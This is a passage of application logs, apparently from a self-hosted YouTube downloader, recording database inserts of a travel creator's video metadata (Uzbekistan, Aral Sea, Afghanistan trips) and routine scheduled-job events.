\nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#uzbekistan #sovietunion #travel", "Inside the Country that Almost Existed", "1ea5993b-6992-4bc7-a82f-9ca87a67cb1f", "oiGyXylltRE", 1857, false, "https://www.youtube.com/watch?v=oiGyXylltRE", 16, "/downloads/shows/Mike Okay/Season 2025/s2025e121900 - Inside the Country that Almost Existed.mp4", false, false, false, 3, [], 98, ~U[2025-12-19 16:34:02Z], ~U[2026-08-20 00:58:12Z], ~U[2026-08-20 00:58:12Z], "https://try.airalo.com/mikeokay - Download Airalo Here and Get $3 off Your First ESIM! Use Code - MIKE\n\nQudrats insta - https://www.instagram.com/qudratreyimov/\n\nKarakalpakstan is a region most people have never heard of.. yet it was once legally allowed to become its own country...\n\nThanks to the wonderful team who turned my crazy Airalo ad idea to a reality in one day\nhttps://www.instagram.com/bahoaaa/\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#uzbekistan #sovietunion #travel", "Inside the Country that Almost Existed", "oiGyXylltRE", 1857, false, "https://www.youtube.com/watch?v=oiGyXylltRE", "/downloads/shows/Mike Okay/Season 2025/s2025e121900 - Inside the Country that Almost Existed.mp4", false, 3, ~U[2025-12-19 16:34:02Z]] 17:58:12.455 [debug] QUERY OK source="sources" db=0.1ms idle=3.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 17:58:12.456 [debug] QUERY OK source="media_items" db=0.2ms idle=2.7ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-05 16:36:44Z], 3] 17:58:12.457 [debug] QUERY OK source="media_items" db=0.6ms idle=2.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Once, the Aral Sea was one of the largest lakes on Earth. Today, it’s a dried-up desert filled with abandoned Soviet shipwrecks, rusting on sand where waves used to hit. In this video, I travel to the Aral Sea region to see what’s left, meet people who still live here, and spend the night inside a Soviet shipwreck that hasn’t touched water in decades.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/", "Drunk Camping in an Abandoned Soviet Ghost Ship", "d13e0e04-67fa-4fa7-aac6-4b7bce9bb1aa", "XaO_IcYqzRs", 1552, false, "https://www.youtube.com/watch?v=XaO_IcYqzRs", 17, "/downloads/shows/Mike Okay/Season 2025/s2025e120500 - Drunk Camping in an Abandoned Soviet Ghost Ship.mp4", false, false, false, 3, [], 98, ~U[2025-12-05 16:36:44Z], ~U[2026-08-20 00:58:12Z], ~U[2026-08-20 00:58:12Z], "Once, the Aral Sea was one of the largest lakes on Earth. Today, it’s a dried-up desert filled with abandoned Soviet shipwrecks, rusting on sand where waves used to hit. In this video, I travel to the Aral Sea region to see what’s left, meet people who still live here, and spend the night inside a Soviet shipwreck that hasn’t touched water in decades.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/", "Drunk Camping in an Abandoned Soviet Ghost Ship", "XaO_IcYqzRs", 1552, false, "https://www.youtube.com/watch?v=XaO_IcYqzRs", "/downloads/shows/Mike Okay/Season 2025/s2025e120500 - Drunk Camping in an Abandoned Soviet Ghost Ship.mp4", false, 3, ~U[2025-12-05 16:36:44Z]] 17:58:12.457 [debug] QUERY OK source="sources" db=0.2ms idle=3.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 17:58:12.458 [debug] QUERY OK source="media_items" db=0.2ms idle=2.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-11-21 16:11:38Z], 3] 17:58:12.459 [debug] QUERY OK source="media_items" db=0.9ms idle=2.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Go to https://ground.news/mike to cut through the noise and stay better informed. Subscribe through my link to get 40% off the unlimited access Vantage subscription this month only.\n\nThe wonderful music in this video was kindly provided by Khalil Salahshor. Ali played the song you are listening to in the truck. It was such beautiful sounds so I reached out to Khalil and he agreed to let me use it in the video. follow him here https://www.instagram.com/khalil_salahshor22/\n\nCheck out Khalil here: https://www.youtube.com/@UCnDaJ9daevNM4UeKqDE-kOw \n\nWelcome back to Afghanistan. I never know what to write in this descriptions. Ummmmm. In this video I spend days in a truck. Thats more or less it. The real impressive thing here is that I managed to make 3 days in a truck engaging. I'm amazing. Just kidding. I am though. \n\nHeres a generic thing that talks about coal mines truck routes in Afghanistan:\n\nEvery day, Afghan truck drivers risk their lives hauling coal through the Hindu Kush, navigating deadly cliffs, overloaded trucks, freezing passes and zero infrastructure. In this video, I join the drivers who keep this remote part of Afghanistan alive, to show what life is really like on these coal roads.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#afghanistan #afghan #travel", "Crossing Afghanistan's Deadly Coal Mine Route", "77c88650-1b2f-499d-8f06-c9e949401e4f", "TePUvifOHbk", 2619, false, "https://www.youtube.com/watch?v=TePUvifOHbk", 18, "/downloads/shows/Mike Okay/Season 2025/s2025e112100 - Crossing Afghanistan's Deadly Coal Mine Route.mp4", false, false, false, 3, [], 98, ~U[2025-11-21 16:11:38Z], ~U[2026-08-20 00:58:12Z], ~U[2026-08-20 00:58:12Z], "Go to https://ground.news/mike to cut through the noise and stay better informed. Subscribe through my link to get 40% off the unlimited access Vantage subscription this month only.\n\nThe wonderful music in this video was kindly provided by Khalil Salahshor. Ali played the song you are listening to in the truck. It was such beautiful sounds so I reached out to Khalil and he agreed to let me use it in the video. follow him here https://www.instagram.com/khalil_salahshor22/\n\nCheck out Khalil here: https://www.youtube.com/@UCnDaJ9daevNM4UeKqDE-kOw \n\nWelcome back to Afghanistan. I never know what to write in this descriptions. Ummmmm. In this video I spend days in a truck. Thats more or less it. The real impressive thing here is that I managed to make 3 days in a truck engaging. I'm amazing. Just kidding. I am though. \n\nHeres a generic thing that talks about coal mines truck routes in Afghanistan:\n\nEvery day, Afghan truck drivers risk their lives hauling coal through the Hindu Kush, navigating deadly cliffs, overloaded trucks, freezing passes and zero infrastructure. In this video, I join the drivers who keep this remote part of Afghanistan alive, to show what life is really like on these coal roads.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#afghanistan #afghan #travel", "Crossing Afghanistan's Deadly Coal Mine Route", "TePUvifOHbk", 2619, false, "https://www.youtube.com/watch?v=TePUvifOHbk", "/downloads/shows/Mike Okay/Season 2025/s2025e112100 - Crossing Afghanistan's Deadly Coal Mine Route.mp4", false, 3, ~U[2025-11-21 16:11:38Z]] 17:58:12.459 [debug] QUERY OK source="sources" db=0.1ms idle=3.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 17:58:12.460 [debug] QUERY OK source="media_items" db=0.2ms idle=2.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-11-07 16:35:39Z], 3] 17:58:12.461 [debug] QUERY OK source="media_items" db=0.6ms idle=2.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Things don't always go to plan. I think this why I've been loving this trip so much. Nothing has gone to plan. This route has already taught me so much. But it's always scared me. In this video I'll find myself stranded in an Afghan mountain town. The only way I can get out is by striking a deal with the taliban.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#afghanistan #afghan #travel", "Afghanistan Broke Me..", "10b59a04-6333-4082-9bd5-2d931038af6f", "_uOW3KGPqtA", 2078, false, "https://www.youtube.com/watch?v=_uOW3KGPqtA", 19, "/downloads/shows/Mike Okay/Season 2025/s2025e110700 - Afghanistan Broke Me...mp4", false, false, false, 3, [], 98, ~U[2025-11-07 16:35:39Z], ~U[2026-08-20 00:58:12Z], ~U[2026-08-20 00:58:12Z], "Things don't always go to plan. I think this why I've been loving this trip so much. Nothing has gone to plan. This route has already taught me so much. But it's always scared me. In this video I'll find myself stranded in an Afghan mountain town. The only way I can get out is by striking a deal with the taliban.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#afghanistan #afghan #travel", "Afghanistan Broke Me..", "_uOW3KGPqtA", 2078, false, "https://www.youtube.com/watch?v=_uOW3KGPqtA", "/downloads/shows/Mike Okay/Season 2025/s2025e110700 - Afghanistan Broke Me...mp4", false, 3, ~U[2025-11-07 16:35:39Z]] 17:58:12.461 [debug] QUERY OK source="sources" db=0.2ms idle=3.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 17:58:12.462 [debug] QUERY OK source="media_items" db=0.2ms idle=2.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-10-24 16:01:41Z], 3] 17:58:12.463 [debug] QUERY OK source="media_items" db=0.8ms idle=2.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["https://try.airalo.com/mikeokay - Download Airalo Here and Get $3 off Your First ESIM!\n\nThis video marks the first in a 3 vid special. When I entered Afghanistan through Ubzekistan this month, I found a really interesting road on a map. So I decided to travel it. Of course it wasn't that simple! \n\nOnce upon a time, Afghanistan was the ultimate stop on the 1970s Hippie Trail. a place of freedom, music, and discovery. Fifty years later, I return to a country scarred by war and isolation, to see what’s left.\n\nenjoy, mike x\n\n--------\n\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#afghanistan #uzbekistan #travelblog \n\n🎵 Music licensed from Lickd. The biggest mainstream and stock music platform for content creators.\n\nSpirit In The Sky (Deluxe Edition) by Norman Greenbaum, https://t.lickd.co/bp0P2AmBQzA License ID: enDOb462m5Q\n\nIf you want to use music from famous artists, try Lickd to get track credits and unlimited stock music: https://go.lickd.co/soundtrack-your-videos", "Entering Taliban Controlled Afghanistan in 2025", "1626dc29-2199-4856-83e6-20f1efc1153a", "qsNwYzAylcU", 2177, false, "https://www.youtube.com/watch?v=qsNwYzAylcU", 20, "/downloads/shows/Mike Okay/Season 2025/s2025e102400 - Entering Taliban Controlled Afghanistan in 2025.mp4", false, false, false, 3, [], 98, ~U[2025-10-24 16:01:41Z], ~U[2026-08-20 00:58:12Z], ~U[2026-08-20 00:58:12Z], "https://try.airalo.com/mikeokay - Download Airalo Here and Get $3 off Your First ESIM!\n\nThis video marks the first in a 3 vid special. When I entered Afghanistan through Ubzekistan this month, I found a really interesting road on a map. So I decided to travel it. Of course it wasn't that simple! \n\nOnce upon a time, Afghanistan was the ultimate stop on the 1970s Hippie Trail. a place of freedom, music, and discovery. Fifty years later, I return to a country scarred by war and isolation, to see what’s left.\n\nenjoy, mike x\n\n--------\n\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#afghanistan #uzbekistan #travelblog \n\n🎵 Music licensed from Lickd. The biggest mainstream and stock music platform for content creators.\n\nSpirit In The Sky (Deluxe Edition) by Norman Greenbaum, https://t.lickd.co/bp0P2AmBQzA License ID: enDOb462m5Q\n\nIf you want to use music from famous artists, try Lickd to get track credits and unlimited stock music: https://go.lickd.co/soundtrack-your-videos", "Entering Taliban Controlled Afghanistan in 2025", "qsNwYzAylcU", 2177, false, "https://www.youtube.com/watch?v=qsNwYzAylcU", "/downloads/shows/Mike Okay/Season 2025/s2025e102400 - Entering Taliban Controlled Afghanistan in 2025.mp4", false, 3, ~U[2025-10-24 16:01:41Z]] 17:58:12.463 [debug] QUERY OK source="sources" db=0.1ms idle=3.3ms UPDATE "sources" SET "last_indexed_at" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-08-20 00:58:12Z], ~U[2026-08-20 00:58:12Z], 3] 17:58:12.464 [debug] QUERY OK source="media_items" db=0.4ms idle=2.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 17:58:12.465 [debug] QUERY OK source="media_items" db=0.3ms idle=2.8ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 17:58:12.465 [debug] QUERY OK source="media_items" db=0.1ms idle=2.9ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [3] 17:58:12.466 [debug] QUERY OK source="tasks" db=0.1ms idle=2.0ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [17071, 3, ~U[2026-08-20 00:58:12Z], ~U[2026-08-20 00:58:12Z]] 17:58:12.467 [info] {"args":{"id":3},"id":17068,"meta":{},"state":"success","max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","duration":47420308,"event":"job:stop","queue_time":51566,"attempt":1,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 17:58:17.444 [info] {"source":"oban","duration":1279,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:58:47.446 [info] {"source":"oban","duration":1106,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:59:00.094 [info] {"source":"oban","duration":178,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:59:17.448 [info] {"source":"oban","duration":1166,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:59:47.450 [info] {"source":"oban","duration":1091,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:00:00.096 [info] {"source":"oban","duration":1203,"event":"plugin:stop","jobs":[17072],"plugin":"Oban.Plugins.Cron"} 18:00:00.103 [info] {"args":{},"id":17072,"meta":{"cron":true,"cron_expr":"0 1 * * *","cron_tz":"Etc/UTC"},"system_time":1787187600102929696,"max_attempts":20,"queue":"local_data","worker":"Pinchflat.Downloading.MediaRetentionWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","local_data"]} 18:00:00.106 [debug] QUERY OK source="media_items" db=3.0ms idle=1415.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" WHERE ((NOT (m0."media_filepath" IS NULL) AND IFNULL(retention_period_days, 0) > 0 AND DATETIME(media_downloaded_at, '+' || retention_period_days || ' day') < DATETIME('now') ) AND NOT (m0."prevent_culling" = 1)) [] 18:00:00.106 [info] Culling 0 media items past their retention date 18:00:00.107 [debug] QUERY OK source="media_items" db=1.3ms idle=868.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" WHERE ((NOT (m0."media_filepath" IS NULL) AND NOT ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND NOT (m0."prevent_culling" = 1)) [] 18:00:00.107 [info] Deleting 0 media items that are from before the source cutoff 18:00:00.108 [info] {"args":{},"id":17072,"meta":{"cron":true,"cron_expr":"0 1 * * *","cron_tz":"Etc/UTC"},"state":"success","max_attempts":20,"queue":"local_data","worker":"Pinchflat.Downloading.MediaRetentionWorker","source":"oban","duration":5131,"event":"job:stop","queue_time":102279,"attempt":1,"tags":["media_item","local_data"]} 18:00:17.452 [info] {"source":"oban","duration":1362,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:00:47.454 [info] {"source":"oban","duration":1351,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:01:00.097 [info] {"source":"oban","duration":264,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:01:17.456 [info] {"source":"oban","duration":1233,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:01:47.458 [info] {"source":"oban","duration":1007,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:02:00.098 [info] {"source":"oban","duration":254,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:02:17.460 [info] {"source":"oban","duration":1234,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:02:47.462 [info] {"source":"oban","duration":1041,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:03:00.099 [info] {"source":"oban","duration":353,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:03:17.464 [info] {"source":"oban","duration":1078,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:03:47.466 [info] {"source":"oban","duration":987,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:04:00.100 [info] {"source":"oban","duration":242,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:04:17.468 [info] {"source":"oban","duration":1423,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:04:29.587 [info] {"args":{"id":2},"id":17069,"meta":{},"system_time":1787187869587172488,"max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 18:04:29.587 [debug] QUERY OK source="sources" db=0.1ms idle=900.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:04:29.588 [debug] QUERY OK source="settings" db=0.1ms idle=900.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:04:29.589 [debug] QUERY OK source="media_items" db=1.3ms idle=900.8ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 18:04:29.590 [debug] QUERY OK source="media_items" db=0.4ms idle=9.2ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [2] 18:04:29.590 [debug] QUERY OK source="media_profiles" db=0.1ms 